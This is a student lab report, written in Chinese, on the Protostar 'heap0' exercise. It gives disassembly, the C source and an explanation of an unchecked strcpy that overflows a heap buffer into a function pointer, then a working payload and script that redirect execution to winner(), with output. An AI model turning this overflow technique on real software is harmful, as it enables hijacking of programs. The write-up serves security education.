CS3312 Lab Report Heap0

Osamu Takenaka 520030990026

源码分析

x86汇编代码(由objdump得到)：

```
08048464 <winner>:
 8048464:       55                      push   %ebp
 8048465:       89 e5                   mov    %esp,%ebp
 8048467:       83 ec 18                sub    $0x18,%esp
 804846a:       c7 04 24 d0 85 04 08    movl   $0x80485d0,(%esp)
 8048471:       e8 22 ff ff ff          call   8048398 <puts@plt>
 8048476:       c9                      leave
 8048477:       c3                      ret

08048478 <nowinner>:
 8048478:       55                      push   %ebp
 8048479:       89 e5                   mov    %esp,%ebp
 804847b:       83 ec 18                sub    $0x18,%esp
 804847e:       c7 04 24 dd 85 04 08    movl   $0x80485dd,(%esp)
 8048485:       e8 0e ff ff ff          call   8048398 <puts@plt>
 804848a:       c9                      leave
 804848b:       c3                      ret

0804848c <main>:
 804848c:       55                      push   %ebp
 804848d:       89 e5                   mov    %esp,%ebp
 804848f:       83 e4 f0                and    $0xfffffff0,%esp
 8048492:       83 ec 20                sub    $0x20,%esp
 8048495:       c7 04 24 40 00 00 00    movl   $0x40,(%esp)
 804849c:       e8 e7 fe ff ff          call   8048388 <malloc@plt>
 80484a1:       89 44 24 18             mov    %eax,0x18(%esp)
 80484a5:       c7 04 24 04 00 00 00    movl   $0x4,(%esp)
 80484ac:       e8 d7 fe ff ff          call   8048388 <malloc@plt>
 80484b1:       89 44 24 1c             mov    %eax,0x1c(%esp)
 80484b5:       ba 78 84 04 08          mov    $0x8048478,%edx
 80484ba:       8b 44 24 1c             mov    0x1c(%esp),%eax
 80484be:       89 10                   mov    %edx,(%eax)
 80484c0:       b8 f7 85 04 08          mov    $0x80485f7,%eax
 80484c5:       8b 54 24 1c             mov    0x1c(%esp),%edx
 80484c9:       89 54 24 08             mov    %edx,0x8(%esp)
 80484cd:       8b 54 24 18             mov    0x18(%esp),%edx
 80484d1:       89 54 24 04             mov    %edx,0x4(%esp)
 80484d5:       89 04 24                mov    %eax,(%esp)
 80484d8:       e8 9b fe ff ff          call   8048378 <printf@plt>
 80484dd:       8b 45 0c                mov    0xc(%ebp),%eax
 80484e0:       83 c0 04                add    $0x4,%eax
 80484e3:       8b 00                   mov    (%eax),%eax
 80484e5:       89 c2                   mov    %eax,%edx
 80484e7:       8b 44 24 18             mov    0x18(%esp),%eax
 80484eb:       89 54 24 04             mov    %edx,0x4(%esp)
 80484ef:       89 04 24                mov    %eax,(%esp)
 80484f2:       e8 71 fe ff ff          call   8048368 <strcpy@plt>
 80484f7:       8b 44 24 1c             mov    0x1c(%esp),%eax
 80484fb:       8b 00                   mov    (%eax),%eax
 80484fd:       ff d0                   call   *%eax
 80484ff:       c9                      leave
 8048500:       c3                      ret
```

C代码：

```c
struct data {
    char name[64];
};

struct fp {
    int (*fp)();
};
```

这里定义了两个结构体：

1. `data` 结构体，含有一个64字节的字符数组 `name`。
2. `fp` 结构体，包含一个函数指针 `fp`，这个函数指针返回一个整数。

```c
void winner()
{
    printf("level passed\n");
}

void nowinner()
{
    printf("level has not been passed\n");
}
```

- `winner()` 函数：打印信息表示成功通过了这个level
- `nowinner()` 函数：打印信息表示没有通过这个level

```
int main(int argc, char **argv)
{
    struct data *d;
    struct fp *f;

    d = malloc(sizeof(struct data));
    f = malloc(sizeof(struct fp));
    f->fp = nowinner;

    printf("data is at %p, fp is at %p\n", d, f);

    strcpy(d->name, argv[1]);

    f->fp();
}
```

1. `d` 和 `f` 分别是指向 `data` 和 `fp` 结构体的指针。
2. 使用 `malloc` 分别为这两个结构体分配内存。
3. 初始化 `f->fp` 为 `nowinner` 函数。
4. 打印出 `d` 和 `f` 的内存地址。
5. 使用 `strcpy` 将命令行参数 `argv[1]` 复制到 `d->name`。这里是关键的安全漏洞，因为如果 `argv[1]` 的长度超过64字节，将会导致堆溢出。
6. 调用 `f->fp()`，根据 `f` 结构体中的函数指针执行函数。

漏洞分析

- 由于 `strcpy` 不检查目标缓冲区的大小，因此用户可以提供一个超过64字节的输入字符串，这将覆盖 `f` 结构体内存区域，包括 `f->fp` 函数指针。如果攻击者精心构造输入，他们可以更改函数指针指向 `winner` 函数的地址，从而执行 `winner()` 函数，导致实验级别被“通过”。

GDB调试（其实没有用到GDB）

通过objdump可以看到 `winner` 函数的地址为 `0x08048464`， `nowinner` 函数的地址为 `0x08048478`

第一次我们先尝试运行

```
root@protostar:/opt/protostar/bin# ./heap0 A
data is at 0x804a008, fp is at 0x804a050
level has not been passed
```

可以看到 `nowinner` 函数被调用了，data的地址为 `0x804a008`，fp的地址为 `0x804a050`

我们的目的是调用 `winner` 函数，所以我们需要将 `fp` 存的的地址改为 `0x08048464`，由于 `0x804a050 - 0x804a008 = 0x48 = 72`，所以我们可以开始构造payload

```
root@protostar:/opt/protostar/bin# ./heap0 `python -c 'print "A"*72 + "\x64\x84\x04\x08"'`
data is at 0x804a008, fp is at 0x804a050
level passed
```

攻击成功，`winner` 函数被调用了

攻击脚本内容

script_heap0.py:

```
padding = "A" * 72
winner_addr = '\x64\x84\x04\x08'
payload = padding + winner_addr
print payload
```

在终端中运行：

```
/opt/protostar/bin/heap0 `python /opt/protostar/script/heap/script_heap0.py`
```

结果（非GDB环境）

攻击成功